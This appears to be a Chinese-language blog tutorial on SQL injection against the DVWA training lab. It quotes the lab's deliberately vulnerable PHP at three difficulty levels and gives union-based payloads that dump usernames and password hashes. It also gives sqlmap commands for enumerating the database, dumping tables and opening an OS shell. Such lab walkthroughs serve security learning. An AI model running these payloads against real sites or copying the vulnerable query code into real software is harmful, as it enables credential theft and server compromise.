简介
DVWA(Damn Vulnerable Web Application)是一个存在各种漏洞的Web网站,可以帮助安全研究人员学习挖掘漏洞的靶机系统、里面包括一些常见的漏洞如:SQL、XSS、RCE、文件包含等等,可以很方便的快速复现漏洞。
手动注入
难度: LOW

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // 看这一段sql语句是查询的关键。
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>分析: 判断是否存在sql注入,最简单的办法输入一个单引号,这样就会导致正常的sql语句语法错误,mysql就会报错在前端就能看见,可以查看下后端的源代码,在前端有提供。
SELECT first_name, last_name FROM users WHERE user_id = ''';1.刚才输入了一个单引号提交了那么,sql语句就会拼接成这样,sql语法就错误了。

2.在前端就会显示错误信息,那么就存在sql注入,有的时候会报错但在前端不显示,抓包多留一下。
注入类型
1.布尔注入:可以根据返回页面判断条件真假的注入;
2.联合注入:可以使用 union 的注入;
3.延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
4.报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
判断方式
数字型 1 or 1=1
字符型 1' or '1'='1

1.用数字邢判断一下类型,发现还是正常反应。
2.用字符型试试看,果然有惊喜全部都出来了,为什么会出现这种情况呢,明明只有自己的账户却显示了所有人的账户呢?
1' or 1=1#SELECT first_name, last_name FROM users WHERE user_id = '1' or 1 = 1;3.用这样的方式构建,就会发现拼接后的结果会是这样的,这里用到了 or 就算一个错了只要有一个成立了,那就成立。
猜字段

1' order by 2#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2;1.通过 order by 可以发现这个表有几个字段,要是报错了那么字段就没那么多,就会像一下结果。
字段位置

1' union select 1,2 #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2;1.我们可以发现,只有两个字段那么要找下这两个字段的位置,用这两个字段的位置给我们显示结果,这里要用到 union 联合查询。
查数据库名

1' union select 1, database() #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, database();1.可以发现 他的数据库名是 dvwa, 接下来就要找表名了。
查数据库表名

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa")#SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa");查表字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa';查字段内容

1' union select user,password from users# SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users;
1.成功拿到所有账号和密码,去在线的MD5解密网站解下密就可以了。
难度: Medium

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // 可以看到是数字型
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?> 1.发现没有地方能注入,由于是POST请求这个时候只能用抓包软件了。

1 or 1=1#SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;2.通过php后端代码的sql语句中,可以看出是数字型。


1 union select user,password from users#SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;3.提交后可以发现还是一样的可以获取到账号和密码。
难度: High

<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>1' union select user,password from users#SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;sqlmap注入

这里我用DVWA靶场做演示,输入123 然后提交网址搜索框会有提交的参数 复制这个网址到sqlmap注入。
本章只讲怎么使用sqlmap 不懂注入原理的可以学习以下教程
SQL手工注入教程:https://blog.csdn.net/weixin_53139899/article/details/124229137
靶场环境下载:https://wws.lanzouj.com/i7RWK07mv1li
靶场安装教程:https://blog.csdn.net/Tockm/article/details/123381630
查数据库名称
sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --dbs --batch--cookie 必须带有因为关卡等级的原因
--dbs 显示数据库
--batch 静默yes 省去yes或no的操作

查数据库表
sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -tables --batch-D 指定数据库
-tables 显示表名
4.查看表中的字段名
sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users --columns --batch-T 选择表
--columns 显示列
查字段内容
sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users -C user,password --dump --batch-C 指定字段
--dump 显示数据库表的条目
sqlmap 上传木马
sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --delay=1 --os-shellsqlmap参数大全
https://blog.csdn.net/weixin_42160117/article/details/113999523
评论 (0)